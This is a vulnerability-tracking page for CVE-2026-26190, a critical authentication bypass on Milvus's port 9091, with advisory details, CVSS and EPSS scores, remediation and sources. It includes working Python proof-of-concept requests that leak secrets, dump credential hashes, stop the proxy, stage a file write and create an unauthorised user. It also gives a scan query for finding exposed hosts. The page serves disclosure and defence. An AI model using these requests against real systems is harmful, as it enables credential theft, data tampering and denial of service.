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Response snapshot Oct 27, 2026, 03:06 UTC

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VulnerabilityCVE-2026-26190

Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2.

Published Updated

At a glance

Exploited
Not known
Severity
9.8 Critical (CVSS 3.1)
Chance of exploitation
39.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/milvus-io/milvus: 2.5.27; github.com/milvus-io/milvus: 2.6.10. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6 (opens a new tab)

What happened

## Summary

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.

## Details

Continue reading

### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint

The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:

- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc. - **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.

- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.

### Vulnerability 2: Unauthenticated REST API on Metrics Port

Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170).

These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.

An attacker can perform any business operation without credentials, including:

- Creating, listing, and deleting collections - Inserting and querying data - Creating, listing, and deleting user credentials - Modifying user passwords

## Proof of Concept

### PoC 1 — `/expr` Endpoint Exploitation

```python import requests

url = "http:// :9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", ""))

# Denial of Service — stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5)

# Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5) ```

### PoC 2 — Unauthenticated REST API Access

```python import requests

target_url = "http:// :9091"

# Create a user without any authentication res = requests.post(f"{target_url}/api/v1/credential", json={ "username": "attacker_user", "password": "MTIzNDU2Nzg5", }) print(res.json())

# List all users res = requests.get(f"{target_url}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}

# Create and delete collections, insert data — all without authentication ```

## Internet Exposure

A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:

``` http.body="404 page not found" && port="9091" ```

This indicates the vulnerability is actively exploitable in real-world production environments.

## Impact

An unauthenticated remote attacker with network access to port 9091 can:

1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values. 2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls. 3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges. 4.

**Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata. 5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.

## Remediation

### Recommended Fixes

1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. 2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently. 3. **Bind port 9091 to localhost by default** (`127.0.0.

1:9091`) so it is not externally accessible unless explicitly configured. 4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.

### User Mitigations (until patched)

- Block external access to port 9091 using firewall rules or network policies. - If running in Docker/Kubernetes, do not expose port 9091 outside the internal network. - Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).

## Credit

This vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).

Affected package ranges reported by GitHub: github.com/milvus-io/milvus: < 2.5.27 github.com/milvus-io/milvus: >= 2.6.0, < 2.6.10

Scores and how they were measured

CVSS base severity

9.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

39.3%

Scored Percentile 98.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7ppg-37fh-vcr6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-26190, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (CVE-2026-26190). https://kevwire.com/record/CVE-2026-26190

MLA

"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (CVE-2026-26190)." KEVWire, 22 Oct. 2026, kevwire.com/record/CVE-2026-26190.

Chicago

KEVWire. "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (CVE-2026-26190)." Last modified October 22, 2026. https://kevwire.com/record/CVE-2026-26190.

Evidence summary (plain text)

Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (Feb 11, 2026).
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.
2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-7ppg-37fh-vcr6).
EPSS 39.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6: https://github.com/advisories/GHSA-7ppg-37fh-vcr6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo1MTozMFrOAAf0Mg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-26
Record ID: CVE-2026-26190.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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